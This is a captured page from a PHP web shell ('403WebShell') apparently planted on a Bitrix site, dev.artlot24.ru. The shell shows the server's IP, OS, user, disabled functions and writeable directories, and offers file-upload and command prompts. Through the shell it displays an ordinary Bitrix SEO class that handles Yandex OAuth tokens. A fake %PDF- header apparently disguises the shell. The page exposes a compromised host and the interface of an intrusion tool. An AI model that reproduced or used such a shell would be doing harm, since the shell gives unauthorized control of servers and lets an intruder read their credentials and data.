%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.36.61
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/engine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/engine/yandexbase.php
<?
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage seo
 * @copyright 2001-2013 Bitrix
 */
namespace Bitrix\Seo\Engine;

use Bitrix\Main\SystemException;
use Bitrix\Main\Text;
use Bitrix\Main\Web;
use Bitrix\Seo\Engine;

class YandexBase extends BitrixEngine
{
	const QUERY_USER = 'https://login.yandex.ru/info';

	protected $engineId = 'yandex_generic';

	/**
	 * Returns URL to authorize app
	 *
	 * @return string Url
	 */
	public function getAuthUrl()
	{
		return $this->getInterface()->getAuthUrl();
	}

	/**
	 * Creates OAuth interface object instance
	 *
	 * @return \CYandexOAuthInterface
	 */
	public function getInterface()
	{
		if($this->authInterface === null)
		{
			$this->authInterface = new \CYandexOAuthInterface($this->engine['CLIENT_ID'], $this->engine['CLIENT_SECRET']);

			if($this->engineSettings['AUTH'])
			{
				$this->authInterface->setToken($this->engineSettings['AUTH']['access_token']);
				$this->authInterface->setRefreshToken($this->engineSettings['AUTH']['refresh_token']);
				$this->authInterface->setAccessTokenExpires($this->engineSettings['AUTH']['expires_in']);
			}
		}

		return $this->authInterface;
	}

	public function clearSitesSettings()
	{
		unset($this->engineSettings['SITES']);
		$this->saveSettings();
	}

	public function setAuthSettings($settings = null)
	{
		if($settings === null)
		{
			$settings = $this->getInterface();
		}

		if($settings instanceof \CYandexOAuthInterface)
		{
			$settings = array(
				'access_token' => $settings->getToken(),
				'refresh_token' => $settings->getRefreshToken(),
				'expires_in' => $settings->getAccessTokenExpires()
			);
		}

		$this->engineSettings['AUTH'] = $settings;
		$this->saveSettings();
	}

	public function checkAuthExpired()
	{
		$ob = $this->getInterface();
		return !$ob->checkAccessToken();
	}

	public function getAuth($code)
	{
		$ob = $this->getInterface();
		$ob->setCode($code);

		if($ob->getAccessToken())
		{
			unset($this->engineSettings['AUTH_USER']);

			$this->setAuthSettings();
			return true;
		}

		throw new \Exception($ob->getError());
	}

	/**
	 * Returns current Yandex user data
	 *
	 * @return array
	 *
	 * @throws SystemException
	 * @throws YandexException
	 */
	public function getCurrentUser()
	{
		if(
			!array_key_exists('AUTH_USER', $this->engineSettings)
			|| !is_array($this->engineSettings['AUTH_USER'])
		)
		{
			$queryResult = self::query(self::QUERY_USER);

			if($queryResult->getStatus() == self::HTTP_STATUS_OK && $queryResult->getResult() <> '')
			{
				$res = Web\Json::decode($queryResult->getResult());

				if(is_array($res))
				{
					$this->engineSettings['AUTH_USER'] = $res;
					$this->saveSettings();

					return $this->engineSettings['AUTH_USER'];
				}
			}

			throw new Engine\YandexException($queryResult);
		}
		else
		{
			return $this->engineSettings['AUTH_USER'];
		}
	}

	/**
	 * Returns HttpClient object with query result
	 *
	 * @param string $scope Url to call
	 * @param string $method HTTP method (GET/POST/PUT supported)
	 * @param array|null $data Post data
	 * @param bool $skipRefreshAuth Skip authorization refresh
	 *
	 * @returns \Bitrix\Main\Web\HttpClient
	 * @throws SystemException
	 */
	protected function query($scope, $method = "GET", $data = null, $skipRefreshAuth = false)
	{
		if($this->engineSettings['AUTH'])
		{
			$http = new Web\HttpClient();
			$http->setHeader('Authorization', 'OAuth '.$this->engineSettings['AUTH']['access_token']);
			$http->setRedirect(false);

			switch($method)
			{
				case 'GET':
					$http->get($scope);
				break;
				case 'POST':
					$http->post($scope, $data);
				break;
				case 'PUT':
					$http->query($method, $scope, $data);
				break;
				case 'DELETE':

				break;
			}

			if($http->getStatus() == 401 && !$skipRefreshAuth)
			{
				if($this->checkAuthExpired())
				{
					$this->query($scope, $method, $data, true);
				}
			}

			return $http;
		}
		else
		{
			throw new SystemException("No Yandex auth data");
		}
	}

	protected function prepareQueryResult(array $result)
	{
		return Text\Encoding::convertEncodingArray($result, 'utf-8', LANG_CHARSET);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit